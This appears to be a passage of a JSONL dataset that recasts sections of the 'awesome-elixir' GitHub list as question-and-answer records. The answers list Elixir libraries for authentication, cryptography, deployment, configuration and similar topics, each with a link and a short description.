machines manager for bhyve on FreeBSD. It's written in Elixir and uses Phoenix framework.\n* [simple_bayes](https://github.com/fredwu/simple_bayes) - A Simple Bayes / Naive Bayes implementation in Elixir.\n* [Synapses](https://mrdimosthenis.github.io/Synapses/?elixir) - A lightweight library for neural networks.\n* [Weaviate](https://github.com/noizu-labs-ml/elixir-weaviate) - Weaviate client and macros for declaring records. ([Docs](https://hexdocs.pm/noizu_weaviate/api-reference.html)).", "tags": ["h4cc"], "source": "github_gists", "category": "h4cc", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 13066, "answer_score": 10, "has_code": false, "url": "https://github.com/h4cc/awesome-elixir", "collected_at": "2026-01-16T23:28:37.762349"}
{"id": "gh_d8ea9d89c504", "question": "How to: Audio and Sounds", "question_body": "About h4cc/awesome-elixir", "answer": "*Libraries working with sounds and tones.*\n\n* [erlaudio](https://github.com/asonge/erlaudio) - Erlang PortAudio bindings.\n* [ex_alsa](https://github.com/dulltools/ex_alsa) - Elixir ALSA bindings.\n* [ex_jack](https://github.com/dulltools/ex_jack) - Elixir JACK bindings.\n* [firmata](https://github.com/entone/firmata) - This package implements the Firmata protocol.\n* [synthex](https://github.com/bitgamma/synthex) - A signal synthesis library.", "tags": ["h4cc"], "source": "github_gists", "category": "h4cc", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 13066, "answer_score": 10, "has_code": false, "url": "https://github.com/h4cc/awesome-elixir", "collected_at": "2026-01-16T23:28:37.762355"}
{"id": "gh_9dbbf83d9139", "question": "How to: Authentication", "question_body": "About h4cc/awesome-elixir", "answer": "*Libraries for implementing authentication schemes.*\n\n* [aeacus](https://github.com/zmoshansky/aeacus) - A simple configurable identity/password authentication module (Compatible with Ecto/Phoenix).\n* [apache_passwd_md5](https://github.com/kevinmontuori/Apache.PasswdMD5) - Apache/APR Style Password Hashing.\n* [aws_auth](https://github.com/bryanjos/aws_auth) - AWS Signature Version 4 Signing Library for Elixir.\n* [basic_auth](https://github.com/CultivateHQ/basic_auth) - Elixir Plug to easily add HTTP basic authentication to an app.\n* [coherence](https://github.com/smpallen99/coherence) - Coherence is a full featured, configurable authentication system for Phoenix. ([Docs](https://hexdocs.pm/coherence/Coherence.html)).\n* [doorman](https://github.com/BlakeWilliams/doorman) - Tools to make Elixir authentication simple and flexible.\n* [elixir_auth_google](https://github.com/dwyl/elixir-auth-google) - The simplest way to add Google OAuth authentication (\"Sign in with Google\") to your Elixir/Phoenix app.\n* [ex_aws_msk_iam_auth](https://github.com/BigThinkcode/ex_aws_msk_iam_auth) - AWS Managed Streaming for Apache Kafka (MSK) IAM Authentication plugin for Broadway Kafka.\n* [goth](https://github.com/peburrows/goth) - OAuth 2.0 library for server to server applications via Google Cloud APIs.\n* [guardian](https://github.com/ueberauth/guardian) - An authentication framework for use with Elixir applications. ([Docs](https://hexdocs.pm/guardian/Guardian.html)).\n* [guardian_db](https://github.com/ueberauth/guardian_db) - An extension to Guardian that tracks tokens in your application's database to prevent playback. ([Docs](https://hexdocs.pm/guardian_db/readme.html)).\n* [guardian_redis](https://github.com/alexfilatov/guardian_redis) - Redis repository for Guardian DB. ([Docs](https://hexdocs.pm/guardian_redis/readme.html)).\n* [htpasswd](https://github.com/kevinmontuori/Apache.htpasswd) - Apache htpasswd file reader/writer in Elixir.\n* [mojoauth](https://github.com/mojolingo/mojo-auth.ex) - MojoAuth implementation in Elixir.\n* [oauth2](https://github.com/scrogson/oauth2) - An OAuth 2.0 client library for Elixir.\n* [oauth2_facebook](https://github.com/chrislaskey/oauth2_facebook) - A Facebook OAuth2 Provider for Elixir.\n* [oauth2_github](https://github.com/chrislaskey/oauth2_github) - A GitHub OAuth2 Provider for Elixir.\n* [oauth2cli](https://github.com/mgamini/oauth2cli-elixir) - Simple OAuth2 client written for Elixir.\n* [oauth2ex](https://github.com/parroty/oauth2ex) - Another OAuth 2.0 client library for Elixir.\n* [oauther](https://github.com/lexmag/oauther) - An OAuth 1.0 implementation for Elixir.\n* [passwordless_auth](https://github.com/madebymany/passwordless_auth) - Simple passwordless login or 2-factor / multi-factor authentication for Elixir.\n* [phauxth](https://github.com/riverrun/phauxth) - Authentication library for Phoenix 1.3 and other Plug-based apps.\n* [phoenix_client_ssl](https://github.com/jshmrtn/phoenix-client-ssl) - Client SSL Authentication Plugs for Phoenix and other Plug-based apps.\n* [pow](https://github.com/danschultzer/pow) - Robust, modular, and extendable user authentication system ([Website](https://powauth.com) - [Doc](https://hex.pm/packages/pow)).\n* [samly](https://github.com/handnot2/samly) - SAML SP SSO made easy ([Doc](https://hexdocs.pm/samly/readme.html)).\n* [sesamex](https://github.com/khusnetdinov/sesamex) - Another simple and flexible authentication solution in 5 minutes!.\n* [sigaws](https://github.com/handnot2/sigaws) - AWS Signature V4 signing and verification library ([Doc](https://hexdocs.pm/sigaws/Sigaws.html)).\n* [ueberauth](https://github.com/ueberauth/ueberauth) - An Elixir Authentication System for Plug-based Web Applications.\n* [ueberauth_auth0](https://hex.pm/packages/ueberauth_auth0) - An Ueberauth strategy for using Auth0 to authenticate your users.\n* [ueberauth_cas](https://github.com/marceldegraaf/ueberauth_cas) - Central Authentication Service strategy for Überauth.\n* [ueberauth_facebook](https://github.com/ueberauth/ueberauth_Facebook) - Facebook OAuth2 Strategy for Überauth.\n* [ueberauth_foursquare](https://github.com/borodiychuk/ueberauth_foursquare) - Foursquare OAuth2 Strategy for Überauth.\n* [ueberauth_github](https://github.com/ueberauth/ueberauth_github) - A GitHub strategy for Überauth.\n* [ueberauth_google](https://github.com/ueberauth/ueberauth_google) - A Google strategy for Überauth.\n* [ueberauth_identity](https://github.com/ueberauth/ueberauth_identity) - A simple username/password strategy for Überauth.\n* [ueberauth_line](https://github.com/alexfilatov/ueberauth_line) - LINE Strategy for Überauth.\n* [ueberauth_microsoft](https://github.com/swelham/ueberauth_microsoft) - A Microsoft strategy for Überauth.\n* [ueberauth_slack](https://github.com/ueberauth/ueberauth_slack) - A Slack strategy for Überauth.\n* [ueberauth_twitter](https://github.com/ueberauth/ueberauth_twitter) - Twitter Strategy for Überauth.\n* [ueberauth_vk](https://github.com/sobolevn/uebe", "tags": ["h4cc"], "source": "github_gists", "category": "h4cc", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 13066, "answer_score": 10, "has_code": false, "url": "https://github.com/h4cc/awesome-elixir", "collected_at": "2026-01-16T23:28:37.762376"}
{"id": "gh_3586bda97114", "question": "How to: Authorization", "question_body": "About h4cc/awesome-elixir", "answer": "*Libraries for implementing Authorization handling.*\n\n* [authorize](https://github.com/jfrolich/authorize) - Rule based authorization, for advanced authorization rules.\n* [bodyguard](https://github.com/schrockwell/bodyguard) - A flexible authorization library for Phoenix applications.\n* [canada](https://github.com/jarednorman/canada) - A simple authorization library that provides a friendly interface using declarative permission rules.\n* [canary](https://github.com/cpjk/canary) - An authorization library for Elixir applications that restricts what resources the current user is allowed to access. ([Docs](https://hexdocs.pm/canary/api-reference.html)).\n* [speakeasy](https://github.com/coryodaniel/speakeasy) - Middleware based authentication and authorization for Absinthe GraphQL powered by Bodyguard.\n* [terminator](https://github.com/MilosMosovsky/terminator) - Database based authorization (ACL), with custom DSL rules for requiring needed permissions. ([Docs](https://hexdocs.pm/terminator/readme.html)).", "tags": ["h4cc"], "source": "github_gists", "category": "h4cc", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 13066, "answer_score": 10, "has_code": false, "url": "https://github.com/h4cc/awesome-elixir", "collected_at": "2026-01-16T23:28:37.762383"}
{"id": "gh_bb39ebc3ceb7", "question": "How to: Behaviours and Interfaces", "question_body": "About h4cc/awesome-elixir", "answer": "*Definitions how something should behave, like Interfaces from OOP-World*\n\n* [connection](https://github.com/fishcakez/connection) - Connection behaviour for connection processes. The API is superset of the GenServer API.\n* [gen_state_machine](https://github.com/antipax/gen_state_machine) - Elixir wrapper for gen_statem.\n* [stockastic](https://github.com/shanewilton/stockastic) - Simple Elixir wrapper for the Stockfighter API.", "tags": ["h4cc"], "source": "github_gists", "category": "h4cc", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 13066, "answer_score": 10, "has_code": false, "url": "https://github.com/h4cc/awesome-elixir", "collected_at": "2026-01-16T23:28:37.762388"}
{"id": "gh_518a537b18bc", "question": "How to: Benchmarking", "question_body": "About h4cc/awesome-elixir", "answer": "*Running code to see how long it takes, which is faster and/or if improvements have been made.*\n\n* [beamchmark](https://github.com/membraneframework/beamchmark) - A Tool for measuring EVM performance.\n* [benchee](https://github.com/PragTob/benchee) - Easy and extensible benchmarking in Elixir.\n* [benchfella](https://github.com/alco/benchfella) - Benchmarking tool for Elixir.\n* [bmark](https://github.com/joekain/bmark) - A benchmarking tool for Elixir.", "tags": ["h4cc"], "source": "github_gists", "category": "h4cc", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 13066, "answer_score": 10, "has_code": false, "url": "https://github.com/h4cc/awesome-elixir", "collected_at": "2026-01-16T23:28:37.762393"}
{"id": "gh_deefca67e58c", "question": "How to: Bittorrent", "question_body": "About h4cc/awesome-elixir", "answer": "*Sharing is caring with Elixir*\n\n* [bento](https://github.com/folz/bento) - An incredibly fast, correct, pure-Elixir Bencoding library.\n* [tracker_request](https://github.com/alehander42/tracker_request) - Dealing with bittorrent tracker requests and responses.\n* [wire](https://github.com/alehander42/wire) - Encode and decode bittorrent peer wire protocol messages with Elixir.", "tags": ["h4cc"], "source": "github_gists", "category": "h4cc", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 13066, "answer_score": 10, "has_code": false, "url": "https://github.com/h4cc/awesome-elixir", "collected_at": "2026-01-16T23:28:37.762398"}
{"id": "gh_998451b069c2", "question": "How to: Build Tools", "question_body": "About h4cc/awesome-elixir", "answer": "*Project build and automation tools.*\n\n* [active](https://github.com/synrc/active) - Recompilation and Reloading on FileSystem changes.\n* [coffee_rotor](https://github.com/HashNuke/coffee_rotor) - Rotor plugin to compile CoffeeScript files.\n* [dismake](https://github.com/jarednorman/dismake) - Mix compiler running make.\n* [etude](https://github.com/exstruct/etude) - Parallel computation coordination compiler for Erlang/Elixir.\n* [Exscript](https://github.com/liveforeverx/exscript) - Elixir escript library.\n* [mad](https://github.com/synrc/mad) - Small and Fast Rebar Replacement.\n* [pc](https://github.com/blt/port_compiler) - A rebar3 port compiler.\n* [reaxt](https://github.com/awetzel/reaxt) - React template into your Elixir application for server rendering.\n* [rebar3_abnfc_plugin](https://github.com/surik/rebar3_abnfc_plugin) - Rebar3 abnfc compiler.\n* [rebar3_asn1_compiler](https://github.com/pyykkis/rebar3_asn1_compiler) - Plugin for compiling ASN.1 modules with Rebar3.\n* [rebar3_auto](https://github.com/vans163/rebar3_auto) - Rebar3 plugin to auto compile and reload on file change.\n* [rebar3_diameter_compiler](https://github.com/carlosedp/rebar3_diameter_compiler) - Compile diameter .dia files in rebar3 projects.\n* [rebar3_eqc](https://github.com/kellymclaughlin/rebar3-eqc-plugin) - A rebar3 plugin to enable the execution of Erlang QuickCheck properties.\n* [rebar3_exunit](https://github.com/processone/rebar3_exunit) - A plugin to run Elixir ExUnit tests from rebar3 build tool.\n* [rebar3_idl_compiler](https://github.com/sebastiw/rebar3_idl_compiler) - This is a plugin for compiling Erlang IDL files using Rebar3.\n* [rebar3_live](https://github.com/pvmart/rebar3_live) - Rebar3 live plugin.\n* [rebar3_neotoma_plugin](https://github.com/zamotivator/rebar3_neotoma_plugin) - Rebar3 neotoma (Parser Expression Grammar) compiler.\n* [rebar3_protobuffs](https://github.com/benoitc/rebar3_protobuffs) - rebar3 protobuffs provider using protobuffs from Basho.\n* [rebar3_run](https://github.com/tsloughter/rebar3_run) - Run a release with one simple command.\n* [rebar3_yang_plugin](https://github.com/surik/rebar3_yang_plugin) - Rebar3 yang compiler.\n* [reltool_util](https://github.com/okeuday/reltool_util) - Erlang reltool utility functionality application.\n* [relx](https://github.com/erlware/relx) - A release assembler for Erlang.\n* [remix](https://github.com/AgilionApps/remix) - Automatic recompilation of Mix code on file change.\n* [rotor](https://github.com/HashNuke/rotor) - Super-simple build system for Elixir.\n* [sass_elixir](https://github.com/zamith/sass_elixir) - A sass plugin for Elixir projects.", "tags": ["h4cc"], "source": "github_gists", "category": "h4cc", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 13066, "answer_score": 10, "has_code": false, "url": "https://github.com/h4cc/awesome-elixir", "collected_at": "2026-01-16T23:28:37.762407"}
{"id": "gh_cfb8e39e88f9", "question": "How to: Cloud Infrastructure and Management", "question_body": "About h4cc/awesome-elixir", "answer": "*Applications, tools and libraries for your own cloud service.*\n\n* [aws](https://github.com/aws-beam/aws-elixir) - AWS clients for Elixir.\n* [Batteries Included](https://github.com/batteries-included/batteries-included) - A self hostable platform for automation/UI driven Kubernetes; built in Elixir and Golang the entire UI is built with Phoenix Live View.\n* [Bonny](https://github.com/coryodaniel/bonny) - Kubernetes Operator Development Framework.\n* [Cloudi](http://cloudi.org/) - CloudI is for back-end server processing tasks that require soft-realtime transaction.\n* [discovery](https://github.com/undeadlabs/discovery) - An OTP application for auto-discovering services with Consul.\n* [erlcloud](https://github.com/erlcloud/erlcloud) - Cloud Computing library for Erlang (Amazon EC2, S3, SQS, SimpleDB, Mechanical Turk, ELB). ([Docs](https://hexdocs.pm/erlcloud/)).\n* [ex_aws](https://github.com/CargoSense/ex_aws) - AWS client, supporting Dynamo, Kinesis, Lambda, SQS, and S3.\n* [ex_riak_cs](https://github.com/ayrat555/ex_riak_cs) - Riak CS API client.\n* [fleet_api](https://github.com/jordan0day/fleet-api) - A simple wrapper for the Fleet (CoreOS) API. Can be used with etcd tokens or via direct node URLs.\n* [Gandi](https://github.com/Ahamtech/elixir-Gandi) - Gandi Wrapper for Leaseweb infrastructure.\n* [IElixir](https://github.com/pprzetacznik/IElixir) - Jupyter's kernel for Elixir programming language.\n* [k8s](https://github.com/coryodaniel/k8s) - Kubernetes Elixir client with CRD support, multi-cluster support, pluggable auth, and configurable middleware.\n* [Kazan](https://github.com/obmarg/kazan) - Kubernetes client for Elixir, generated from the k8s open API specifications.\n* [Kubereq](https://github.com/mruoss/kubereq) - Kubernetes Client for Elixir based on Req.\n* [Kubex](https://github.com/ingerslevio/kubex) - Kubernetes client and integration for Elixir, written in pure Elixir.\n* [Leaseweb](https://github.com/Ahamtech/elixir-leaseweb) - Elixir Wrapper for Leaseweb infrastructure.\n* [libcluster](https://github.com/bitwalker/libcluster) - Automatic cluster formation/healing for Elixir applications.([Docs](https://hexdocs.pm/libcluster/readme.html)).\n* [nodefinder](https://github.com/okeuday/nodefinder) - Strategies for automatic node discovery in Erlang.\n* [nomad](https://github.com/sashaafm/nomad) - Create cloud portable Elixir and Phoenix apps. Write once, use everywhere.\n* [sidejob](https://github.com/basho/sidejob) - Parallel worker and capacity limiting library for Erlang.\n* [sidetask](https://github.com/PSPDFKit-labs/sidetask) - SideTask is an alternative to Task.Supervisor using Basho's sidejob library with parallelism and capacity limiting.\n* [skycluster](https://github.com/Nebo15/skycluster) - Automatic Erlang cluster formation, messaging and management for Elixir/Erlang applications. Integrated with Kubernetes.\n* [vercel](https://github.com/Bounceapp/elixir-vercel) - An Elixir wrapper for Vercel's API.", "tags": ["h4cc"], "source": "github_gists", "category": "h4cc", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 13066, "answer_score": 10, "has_code": false, "url": "https://github.com/h4cc/awesome-elixir", "collected_at": "2026-01-16T23:28:37.762419"}
{"id": "gh_d232c5805b9b", "question": "How to: Code Analysis", "question_body": "About h4cc/awesome-elixir", "answer": "*Libraries and tools for code base analysis, parsing, and manipulation.*\n\n* [belvedere](https://github.com/nirvana/belvedere) - An example of CircleCI integration with Elixir.\n* [coverex](https://github.com/alfert/coverex) - Coverage Reports for Elixir.\n* [credo](https://github.com/rrrene/credo) - A static code analysis tool with a focus on code consistency and teaching Elixir. ([Docs](https://hexdocs.pm/credo/Credo.html)).\n* [DepViz](https://depviz.jasonaxelson.com/) - A visual tool to help developers understand Elixir recompilation in their projects. ([Code](https://github.com/axelson/dep_viz/)).\n* [dialyxir](https://github.com/jeremyjh/dialyxir) - Mix tasks to simplify use of Dialyzer in Elixir projects.([Docs](https://hexdocs.pm/dialyzex/Mix.Tasks.Dialyzer.html)).\n* [ex_check](https://github.com/karolsluszniak/ex_check) - One task to efficiently run all code analysis & testing tools in an Elixir project.\n* [excellent_migrations](https://github.com/Artur-Sulej/excellent_migrations) - Detecting potentially dangerous operations in database migrations.\n* [excoveralls](https://github.com/parroty/excoveralls) - Coverage report tool for Elixir with coveralls.io integration.\n* [exprof](https://github.com/parroty/exprof) - A simple code profiler for Elixir, using eprof.\n* [int_set](https://github.com/Cantido/int_set) - A time- and memory-efficient unordered data structure for positive integers.", "tags": ["h4cc"], "source": "github_gists", "category": "h4cc", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 13066, "answer_score": 10, "has_code": false, "url": "https://github.com/h4cc/awesome-elixir", "collected_at": "2026-01-16T23:28:37.762426"}
{"id": "gh_9d4e8bb9c531", "question": "How to: Command Line Applications", "question_body": "About h4cc/awesome-elixir", "answer": "*Anything helpful for building CLI applications.*\n\n* [elementtui](https://codeberg.org/edwinvanl/elementtui) - Library to help create terminal user interfaces (TUI).\n* [ex_cli](https://github.com/tuvistavie/ex_cli) - User friendly CLI apps for Elixir.\n* [ex_prompt](https://github.com/behind-design/ex_prompt) - Helper package to add interactivity to your command line applications as easy as possible.\n* [firex](https://github.com/msoedov/firex) - Firex is a library for automatically generating command line interfaces (CLIs) from an elixir module.\n* [getopt](https://github.com/jcomellas/getopt) - Command-line options parser for Erlang.\n* [loki](https://github.com/khusnetdinov/loki) - Library for creating interactive command-line application.\n* [optimus](https://github.com/savonarola/optimus) - Command-line option parser for Elixir inspired by [clap.rs](https://clap.rs/).\n* [owl](https://github.com/fuelen/owl) - Owl is a toolkit for writing command-line user interfaces in Elixir.\n* [phoenix-cli](https://phoenix-cli.github.io/) - Command-line interface for Phoenix Framework like Rails commands.\n* [progress_bar](https://github.com/henrik/progress_bar) - Command-line progress bars and spinners.\n* [prompt](https://github.com/silbermm/prompt) - Toolkit for building command line applications in Elixir.\n* [ratatouille](https://github.com/ndreynolds/ratatouille) - A TUI (terminal UI) kit for Elixir.\n* [scribe](https://github.com/codedge-llc/scribe) - Pretty-print tables of Elixir structs and maps. Inspired by hirb.\n* [table_rex](https://github.com/djm/table_rex) - Generate configurable ASCII style tables for display.\n* [tabula](https://github.com/aerosol/tabula) - Pretty print list of Ecto query results / maps in ascii tables (GitHub Markdown/OrgMode).", "tags": ["h4cc"], "source": "github_gists", "category": "h4cc", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 13066, "answer_score": 10, "has_code": false, "url": "https://github.com/h4cc/awesome-elixir", "collected_at": "2026-01-16T23:28:37.762433"}
{"id": "gh_a5dab82fc19d", "question": "How to: Configuration", "question_body": "About h4cc/awesome-elixir", "answer": "*Libraries and tools working with configurations*\n\n* [confex](https://github.com/Nebo15/confex) - Helper module that provides a nice way to read environment configuration at runtime.\n* [configparser_ex](https://github.com/easco/configparser_ex) - A simple Elixir parser for the same kind of files that Python's configparser library handles.\n* [conform](https://github.com/bitwalker/conform) - Easy release configuration for Elixir apps.\n* [dotenv](https://github.com/avdi/dotenv_elixir) - A port of dotenv to Elixir.\n* [enux](https://github.com/massivefermion/enux) - utility package for loading, validating and documenting your app's configuration variables from env, json and jsonc files at runtime and injecting them into your environment.\n* [figaro](https://github.com/trestrantham/ex_figaro) - Simple Elixir project configuration.\n* [figaro_elixir](https://github.com/KamilLelonek/figaro-elixir) - Environmental variables manager for Elixir.\n* [hush](https://github.com/gordalina/hush) - Read and inject configuration at runtime, and in release mode with support for multiple providers.\n* [hush_aws_secrets_manager](https://github.com/gordalina/hush_aws_secrets_manager) - AWS Secrets Manager provider for hush.\n* [hush_gcp_secret_manager](https://github.com/gordalina/hush_gcp_secret_manager) - Google Secret Manager provider for hush.\n* [mahaul](https://github.com/emadalam/mahaul) - Supercharge your environment variables in Elixir. Parse and validate with compile time access guarantees, defaults, fallbacks and app pre-boot validations.\n* [skogsra](https://github.com/gmtprime/skogsra) - Library to manage OS environment variables and application configuration options with ease.\n* [sweetconfig](https://github.com/d0rc/sweetconfig) - Read YAML configuration files from any point at your app.\n* [weave](https://gitlab.com/gt8/open-source/elixir/weave) - JIT configuration loader that works with Kubernetes and Docker Swarm.", "tags": ["h4cc"], "source": "github_gists", "category": "h4cc", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 13066, "answer_score": 10, "has_code": false, "url": "https://github.com/h4cc/awesome-elixir", "collected_at": "2026-01-16T23:28:37.762440"}
{"id": "gh_9f43f070bb77", "question": "How to: Cryptography", "question_body": "About h4cc/awesome-elixir", "answer": "*Encrypting and decrypting data*\n\n* [aescmac](https://github.com/kleinernik/elixir-aes-cmac) - AES CMAC ([RFC 4493](https://tools.ietf.org/html/rfc4493)) in Elixir.\n* [cipher](https://github.com/rubencaro/cipher) - Elixir crypto library to encrypt/decrypt arbitrary binaries.\n* [cloak](https://github.com/danielberkompas/cloak) - Cloak makes it easy to use encryption with Ecto.([Docs](https://hexdocs.pm/cloak/readme.html)).\n* [comeonin](https://github.com/riverrun/comeonin) - Password hashing (argon2, bcrypt, pbkdf2_sha512) library for Elixir.([https://hexdocs.pm/comeonin/api-reference.html](https://hexdocs.pm/comeonin/api-reference.html)).\n* [crypto_rsassa_pss](https://github.com/potatosalad/erlang-crypto_rsassa_pss) - RSASSA-PSS Public Key Cryptographic Signature Algorithm for Erlang.\n* [elixir_tea](https://github.com/keichan34/elixir_tea) - TEA implementation in Elixir.\n* [ex_bcrypt](https://github.com/manelli/ex_bcrypt) - Elixir wrapper for the OpenBSD bcrypt password hashing algorithm.\n* [ex_crypto](https://github.com/ntrepid8/ex_crypto) - Elixir wrapper for Erlang `crypto` and `public_key` modules. Provides sensible defaults for many crypto functions to make them easier to use.([Docs](https://hexdocs.pm/ex_crypto/readme.html)).\n* [exgpg](https://github.com/rozap/exgpg) - Use gpg from Elixir.\n* [nimble_totp](https://github.com/dashbitco/nimble_totp) - Allows implementation of Time-based One-Time Passwords (TOTP) for 2FA.\n* [ntru_elixir](https://github.com/alisinabh/ntru_elixir) - Elixir wrapper for libntru. A post quantum cryptography system.\n* [pot](https://github.com/yuce/pot) - Erlang library for generating one time passwords compatible with Google Authenticator.\n* [rsa](https://github.com/trapped/elixir-rsa) - `public_key` cryptography wrapper for Elixir.\n* [rsa_ex](https://github.com/anoskov/rsa-ex) - Library for working with RSA keys.\n* [siphash-elixir](https://github.com/whitfin/siphash-elixir) - Elixir implementation of the SipHash hash family.\n* [tea_crypto](https://github.com/keichan34/tea_crypto_erl) - Tiny Encryption Algorithm implementation.", "tags": ["h4cc"], "source": "github_gists", "category": "h4cc", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 13066, "answer_score": 10, "has_code": false, "url": "https://github.com/h4cc/awesome-elixir", "collected_at": "2026-01-16T23:28:37.762448"}
{"id": "gh_8492f632ad65", "question": "How to: Data Visualization", "question_body": "About h4cc/awesome-elixir", "answer": "*Libraries for creating visualizations with data.*\n\n* [plox](https://github.com/gridpoint-com/plox) - Server-side rendered SVG graphing components for Phoenix and LiveView.\n* [tucan](https://github.com/pnezis/tucan) - An Elixir plotting library on top of VegaLite.\n* [vega_lite](https://github.com/livebook-dev/vega_lite) - Elixir bindings for Vega-Lite.", "tags": ["h4cc"], "source": "github_gists", "category": "h4cc", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 13066, "answer_score": 10, "has_code": false, "url": "https://github.com/h4cc/awesome-elixir", "collected_at": "2026-01-16T23:28:37.762454"}
{"id": "gh_4a5d26fb5f53", "question": "How to: Date and Time", "question_body": "About h4cc/awesome-elixir", "answer": "*Libraries for working with dates and times.*\n\n* [block_timer](https://github.com/adamkittelson/block_timer) - Macros to use :timer.apply_after and :timer.apply_interval with a block.\n* [calendar](https://github.com/lau/calendar) - Calendar is a date and time library for Elixir.\n* [calendarific](https://github.com/Bounceapp/elixir-calendarific) - Calendarific is a wrapper for the holiday API Calendarific.\n* [calixir](https://github.com/rengel-de/calixir) - Calixir is a port of the Lisp calendar software calendrica-4.0 to Elixir.\n* [chronos](https://github.com/nurugger07/chronos) - An Elixir date/time library.\n* [cocktail](https://github.com/peek-travel/cocktail) - Elixir date recurrence library based on iCalendar events.\n* [cronex](https://github.com/jbernardo95/cronex) - Cron like system you can mount in your supervision tree.\n* [crontab](https://github.com/jshmrtn/crontab) - A Cron Expressions Parser, Composer & Date Candidate Finder.\n* [emojiclock](https://github.com/nathanhornby/emojiclock-elixir) - An Elixir module for giving you an emoji clock for a given hour.\n* [ex_ical](https://github.com/fazibear/ex_ical) - ICalendar parser.\n* [filtrex](https://github.com/rcdilorenzo/filtrex) - A library for performing and validating complex SQL-like filters from a client (e.g. smart filters).\n* [good_times](https://github.com/DevL/good_times) - Expressive and easy to use datetime functions.\n* [jalaali](https://github.com/jalaali/elixir-jalaali) - Jalaali calendar implementation for Elixir.\n* [milliseconds](https://github.com/davebryson/elixir_milliseconds) - Simple library to work with milliseconds in Elixir.\n* [moment](https://github.com/atabary/moment) - Parse, validate, manipulate, and display dates in Elixir.\n* [open_hours](https://github.com/hopsor/open_hours) - Time calculations using business hours.\n* [quantum](https://github.com/quantum-elixir/quantum-core) - Cron-like job scheduler for Elixir applications.\n* [repeatex](https://github.com/rcdilorenzo/repeatex) - Natural language parsing for repeating dates.\n* [timelier](https://github.com/ausimian/timelier) - A cron-style scheduler for Elixir.\n* [timex](https://github.com/bitwalker/timex) - Easy to use Date and Time modules for Elixir.\n* [timex_interval](https://github.com/atabary/timex-interval) - A date/time interval library for Elixir projects, based on Timex.\n* [tzdata](https://github.com/lau/tzdata) - The timezone database in Elixir.", "tags": ["h4cc"], "source": "github_gists", "category": "h4cc", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 13066, "answer_score": 10, "has_code": false, "url": "https://github.com/h4cc/awesome-elixir", "collected_at": "2026-01-16T23:28:37.762462"}
{"id": "gh_5f2d6b36ce33", "question": "How to: Deployment", "question_body": "About h4cc/awesome-elixir", "answer": "*Installing and running your code automatically on other machines.*\n\n* [akd](https://github.com/annkissam/akd) - Capistrano like, Configurable, and easy to set up Elixir Deployment Automation Framework.\n* [ansible-elixir-stack](https://github.com/HashNuke/ansible-elixir-stack) - 1-command setup & deploys to servers, with first-class support for Phoenix apps.\n* [bootleg](https://github.com/labzero/bootleg) - Simple deployment and server automation for Elixir.\n* [bottler](https://github.com/rubencaro/bottler) - Bottler is a collection of tools that aims to help you generate releases, ship them to your servers, install them there, and get them live on production.\n* [edeliver](https://github.com/boldpoker/edeliver) - Deployment for Elixir and Erlang.\n* [elixir-on-docker](https://github.com/CrowdHailer/elixir-on-docker) - A project template to get started developing clustered Elixir applications for cloud environments.\n* [exdm](https://github.com/joeyates/exdm) - Deploy Elixir applications via mix tasks.\n* [exreleasy](https://github.com/miros/exreleasy) - Dead simple and Mix friendly tool for releasing Elixir applications.\n* [gatling](https://github.com/hashrocket/gatling) - Collection of mix tasks to automatically create a exrm release from git and launch/upgrade it on your server.\n* [Gigalixir](https://www.gigalixir.com) - A fully-featured PaaS designed for Elixir. Supports clustering, hot upgrades, and remote console/observer. Free to try without a credit card.\n* [heroku-buildpack-elixir](https://github.com/HashNuke/heroku-buildpack-elixir) - Heroku buildpack to deploy Elixir apps to Heroku.", "tags": ["h4cc"], "source": "github_gists", "category": "h4cc", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 13066, "answer_score": 10, "has_code": false, "url": "https://github.com/h4cc/awesome-elixir", "collected_at": "2026-01-16T23:28:37.762470"}
{"id": "gh_4d5adc3cff52", "question": "How to: Documentation", "question_body": "About h4cc/awesome-elixir", "answer": "*Libraries and tools for creating documentation.*\n\n* [bureaucrat](https://github.com/api-hogs/bureaucrat) - Generate Phoenix API documentation from tests.\n* [ex_doc](https://github.com/elixir-lang/ex_doc) - ExDoc is a tool to generate documentation for your Elixir projects.\n* [ex_doc_dash](https://github.com/JonGretar/ExDocDash) - Formatter for ExDoc to generate docset documentation for use in Dash.app.\n* [hexdocset](https://github.com/yesmeck/hexdocset) - Convert hex doc to Dash.app's docset format.\n* [inch-ci](http://inch-ci.org/) - Documentation badges for Ruby & Elixir.\n* [maru_swagger](https://github.com/falood/maru_swagger) - Add swagger compliant documentation to your maru API.\n* [phoenix_api_docs](https://github.com/smoku/phoenix_api_docs) - Generate API Blueprint documentation from controllers and tests in the Phoenix framework.\n* [phoenix_swagger](https://github.com/xerions/phoenix_swagger) - Provides swagger integration to the Phoenix framework.\n* [xcribe](https://github.com/brainn-co/xcribe) - Generate API documentation from tests using Swagger (OpenAPI) or API Blueprint specification.", "tags": ["h4cc"], "source": "github_gists", "category": "h4cc", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 13066, "answer_score": 10, "has_code": false, "url": "https://github.com/h4cc/awesome-elixir", "collected_at": "2026-01-16T23:28:37.762476"}
